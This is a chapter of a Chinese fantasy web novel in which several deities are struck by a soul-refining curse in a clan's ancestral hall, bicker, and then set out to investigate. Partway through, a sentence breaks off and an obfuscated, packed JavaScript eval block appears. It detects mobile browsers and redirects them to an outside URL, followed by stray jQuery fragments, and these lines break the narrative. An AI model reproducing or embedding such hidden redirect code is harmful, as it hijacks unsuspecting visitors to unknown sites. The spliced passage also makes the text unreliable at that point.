40. 恨(四)

作品:《成为前任的情劫

    “是,是我。”


    突然没了光亮,那人影也紧张起来。


    “我迷路了。”


    “陆清光?”


    余霏听出他的声音。


    “余霏!还好你们在这里。”


    陆清光摸索着向二人走来。


    “我昏睡了许久,适才醒来,觉得头昏脑涨的,便想出来走走醒醒神,岂料走着走着就像中了迷阵,一直在同一条小路上来回打转,我只好奔着有光亮的地方走……”


    “怎么回事?香烛怎么都灭了?”


    枝友化出人形。


    堂内伸手不见五指,陆清光并没有瞧见这陌生的青衣女子是猫变的。


    “没听过那民间杂谈么?”


    祝灵轩放松下来,还有心情作弄人。


    “祠堂烛灭,小鬼吹灯,是灵牌上早已死去的人趁夜还魂……”


    他冷嗖嗖的嗓音没吓到枝友,倒吓得陆清光抽出三寸剑身。


    这时,余霏终于重新点亮了提灯。


    她拧步插进三人中间,顺手推回陆清光的剑:“只是夜里风大罢了。”


    她说着,打了个大大的哈欠。


    “现在是什么时分了?我今天出摊起得早,又马不停蹄地赶路,属实是困倦了。”


    她不说还好,她一说其余三人也觉得眼皮发沉。


    “快到亥时了。”


    祝灵轩捏了下眉心,抬手去扶快要站着睡着的余霏。


    枝友“啪”地一声拍开他的手,揽住余霏的腰,冷冷横过祝灵轩一眼,又垂下头温声对余霏说:“小姐,我扶你去歇息。”


    她心念一动,便在供桌后的祠堂角落变出一张软床,扶余霏走去的半途,余霏就完全昏睡了过去。


    不对。


    枝友好不容易将余霏抱到床上,自己也天旋地转地跌坐在旁侧。


    她意识到他们全中咒了。


    可是四肢酸软得根本抬不起来。


    在陷入昏迷前的最后一刻,枝友瞥见祝灵轩和陆清光背倚着墙,人慢慢滑坐到地上,头垂下。


    供烛摇影里,四人横七竖八、一动不动。


    .


    余霏是真的睡着了,还做了个梦。


    梦里她听到了战鼓的嗡鸣,还有将士们冲锋的嘶吼,她似乎手持盾牌混在人群里,看不清对面的敌人是谁,却能清晰地听见利刃撞上盾牌的响。


    响在盾牌后,又似乎响在她的身体里。


    她恍然回到了当年的战场上。


    “余霏!”


    听到第一声喊,余霏下意识将自己包裹在凤火里。


    脸侧扑上灼烧的热浪。


    “余霏!!”


    第二声喊时,凤火滔天,敌方所有的攻势都被吞入焰身,唯有极尖利的一把飞刀突破火墙,直向余霏面门扎来。


    “余霏——醒醒!!”


    终于,在飞刀扎入余霏眉心之前,她人被抓住双肩,大力摇醒。


    她睁眼,模模糊糊地,看见祝灵轩焦急的脸。


    金石声仍在耳畔。


    “没事,我太累了,做了个噩梦。”


    余霏嘴上清楚地知道是梦,抬起的手却仍有余悸地摸向眉心——


    在那里,真的有一块鲜红的陈年的旧伤。


    正是这个动作,叫祝灵轩认定余霏还处在惊惧之中,分不清梦境与现实。


    “余霏,你把魂锁打开了?”


    祝灵轩忍不住责问。


    魂锁是神祇长生不死的关键,是笼罩神魂的坚实屏障,也是保护三魂七魄不受震荡、不被消磨的最后一道防线。


    “你被炼魂了你知不知道?!”


    “我知道啊。”


    余霏耳畔的金石声吵得她几乎听不见祝灵轩的话,这意味着她的魂魄正在经受炼魂术的锤炼。


    “这不是我接的单子么?”


    她一笑,脸侧成股的湿汗便顺着嘴角的弧度淌下。


    “我要替蒋玉尘被炼魂的。”


    “疯子。”


    祝灵轩骂她,同时却也打开了自己的魂锁。


    下一秒,刚打开的锁就被余霏一把关上。


    “你干什么。”


    二人面对面异口同声。


    “难道你要我眼睁睁看着你独自承受炼魂之苦?”


    祝灵轩抢先说。


    这太残忍。


    “不行啊,蒋玉尘他只付了我一个人的价钱,要是请你一起替劫——”


    余霏狡黠一笑。


    “得加钱。”


    不得不说,祝灵轩被她弄笑了。


    气笑也是笑。


    “这种时候了,你还想着不能亏本是吗?”


    祝灵轩拧眉,看上去有些凶。


    他很凶很凶地抱住余霏,让没什么力气的人靠上他的肩:


    “我要怎么做才能让你好受一些?”


    被抱住不是余霏的本意,可她实在无力反抗,头脑昏疼,也不想再被搬动。


    “就这样。别动了。”


    “遵命。”


    祝灵轩应她。


    祝灵轩的怀里温度刚好、软硬适中,还有一股很干净的皂角味道,余霏靠着靠着,居然又昏睡了过去。


    再一睁眼,就是大天亮。


    她是被祝灵轩和枝友争吵声叫醒的。


    这两人大清早地就干了一架,祝灵轩骂枝友“玩忽职守”,枝友骂祝灵轩“趁人之危”。


    “你就是这样当家生护法的?贴你家小姐这么近我当是值夜的,走过去一看睡得比人家香多了,又是咂嘴又是淌口水,像你这样的蠢货在我殿里刷恭桶都得排队!”


    “哎呦小殿下你家这么多刷恭桶的仆役,是着急刷完给你当碗盛饭么?难怪吃得嘴这么臭。难得的一点脑子就想着怎么占我家小姐便宜,真是癞蛤蟆趴脚面一样恶心。”


    余霏:……


    她叹了两回气,慢慢起身从供桌后绕出来。


    看清两人形容,又叹了一口气。


    祝灵轩一身绫罗绸缎像被猫抓了一样条条缕缕,枝友十指上绑着的微型匕首断了三两根,两人脸上身上虽未见血,但俱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070627|175269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是一片黑灰狼藉。


    “放肆。”


    余霏淡声,尾音却压得两人背脊生寒,齐齐低头立正。


    “在人家先祖清净之地追逐打闹,成何体统?”


    “炽羽……”


    祝灵轩可怜巴巴地,还想狡辩。


    又被余霏一记眼刀制服。


    最后两人被罚手拉手跪灵。


    余霏亲自打扫供桌以表歉意。


    枝友跪着也不老实,指间未断的匕首冷嗖嗖地贴上祝灵轩的手背。


    祝灵轩快哭了:“炽羽,她掐我……”


    装的。


    余霏不理他,只是问:“陆清光呢?”


    “他天刚亮就走了,小姐你别担心,我检查过他身上,他并没有中炼魂术。”


    枝友争着表现。


    “想来这山寨炼魂术之人是做了一个局,先用些迷香迷阵的将我们放倒,再趁虚而入。岂料我们一水儿的神祇身负魂锁,姓陆的小子又福大命大,所以并没怎么得逞。”


    祝灵轩也不甘示弱。


    正说着,蒋玉尘领着数十弟子前来布置。


    一进门,人就愣住了。


    “大师?”


    他反应了一下,快步上前。


    “大师,这家事岂敢劳动你们。”


    “无妨无妨,你托付我的事暂时没有头绪,我想着给你家添些香火也是好的。”


    余霏走到枝友身边。


    蒋玉尘也注意到这陌生的女子。


    “这位是……”


    “她是我妹妹,被我喊来帮忙的。”


    余霏说着,拍拍枝友的肩。


    “枝友,还不见礼。”


    枝友顺势站起身,收起指间利刃,乖巧行礼:“见过杏林殿主,久仰大名。”


    “多礼了。”


    蒋玉尘颔首回礼。


    依然跪着的祝灵轩有些哀怨地瞧余霏。


    余霏俯视他。


    怎么。


    还要我扶?


    祝灵轩:……


    他麻利地自己站起来。


    “殿主,白日里尚算安全,夜间还需多加小心。”


    余霏向蒋玉尘稍作低眉,复又抬眼。


    “我想四下查证一些事,先行告辞。”


    “大师慢走。”


    蒋玉尘目送一行三人走出主堂。


    堂外,祝灵轩边走边观察着余霏的神情:“贼人施法的速度好快,我瞧着,蒋玉尘身后那群弟子,少说也有半数已受了炼魂术的荼毒了,明明昨天他们还没事的。”


    “嗯。”


    余霏敷衍应声,显然心思并不在此处。


    “余霏,你在想什么?”


    祝灵轩对上她的眼,似乎能顺着这双漂亮的眸子一直看入她的识海。


    眨眼间,他露出个“我知道了”的表情。


    “对炼魂术的施展之法感兴趣的话,我倒想起一个地方或许能有些只言片语的记载。”


    余霏果然回神。


    “哪里?”


    她问。